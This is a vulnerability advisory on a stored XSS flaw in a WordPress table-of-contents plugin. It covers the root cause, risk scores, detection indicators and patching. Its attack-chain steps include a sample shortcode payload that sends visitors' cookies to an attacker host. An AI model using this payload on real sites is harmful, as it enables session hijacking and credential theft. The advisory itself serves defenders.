CVE-2025-13738: 
WordPress vulnerability analysis and mitigation

CVE-2025-13738 is a Stored Cross-Site Scripting (XSS) vulnerability in the Easy Table of Contents plugin for WordPress, affecting all versions up to and including 2.0.78. The flaw exists in the plugin's ez-toc shortcode due to insufficient input sanitization and output escaping on user-supplied attributes, allowing authenticated attackers with contributor-level access or above to inject arbitrary web scripts into pages. It was published on February 19, 2026, and carries a CVSS v3.1 base score of 6.4 (Medium) (Red Hat CVE, Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerability arises because the ez-toc shortcode fails to properly sanitize user-supplied attributes before rendering them in HTML output, enabling persistent script injection. An attacker with at minimum contributor-level WordPress access can craft a malicious shortcode with embedded JavaScript that is stored in the database and executed in the browser of any user who visits the affected page (Red Hat CVE, Wordfence).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browsers, including administrators, potentially leading to session hijacking, credential theft, unauthorized administrative actions, or defacement of the affected WordPress site. The scope is changed (S:C), meaning the injected script can affect resources beyond the attacker's own session. Confidentiality and integrity are both impacted at a low level, while availability is not directly affected (Red Hat CVE).

No public proof-of-concept exploit code or in-the-wild exploitation has been reported for CVE-2025-13738 as of the available data. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities (Red Hat CVE, Wordfence).

1. Reconnaissance: Identify WordPress sites running the Easy Table of Contents plugin version 2.0.78 or earlier using tools like WPScan or by inspecting page source for plugin indicators.
2. Obtain contributor access: Register or compromise an account with at least contributor-level privileges on the target WordPress site.
3. Craft malicious shortcode: Create or edit a post/page and insert the ez-toc shortcode with a malicious attribute containing a JavaScript payload, e.g., [ez-toc attribute="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish the content: Submit the post/page for publication or save it as a draft (depending on role permissions), causing the malicious payload to be stored in the WordPress database.
5. Trigger execution: When any user (including administrators) visits the page containing the injected shortcode, the unsanitized attribute is rendered in the HTML and the JavaScript executes in their browser, enabling session hijacking or further attacks (Wordfence).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API from contributor-level accounts containing ez-toc shortcode content with encoded or obfuscated script tags.
• Database: Unexpected <script> tags or JavaScript event handlers within ez-toc shortcode attributes stored in the wp_posts table.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages containing the ez-toc shortcode, potentially carrying cookie or session data.
• File System: No direct file system artifacts expected for stored XSS; however, monitor for newly created or modified posts/pages by contributor accounts containing suspicious shortcode content.

Users should update the Easy Table of Contents plugin to a version beyond 2.0.78 that includes the fix for this vulnerability. Until a patch is applied, site administrators should restrict contributor-level user registrations and review existing contributor accounts for suspicious content. Implementing a Web Application Firewall (WAF) with XSS filtering rules can provide an additional layer of defense. The Wordfence firewall provides virtual patching for this vulnerability for protected sites (Wordfence, Sucuri).

Wordfence included CVE-2025-13738 in their weekly WordPress vulnerability report for February 16–22, 2026, highlighting it as part of a broader set of plugin vulnerabilities tracked that week. Sucuri also referenced the vulnerability in their February 2026 vulnerability patch roundup, recommending prompt updates for affected WordPress installations (Wordfence, Sucuri).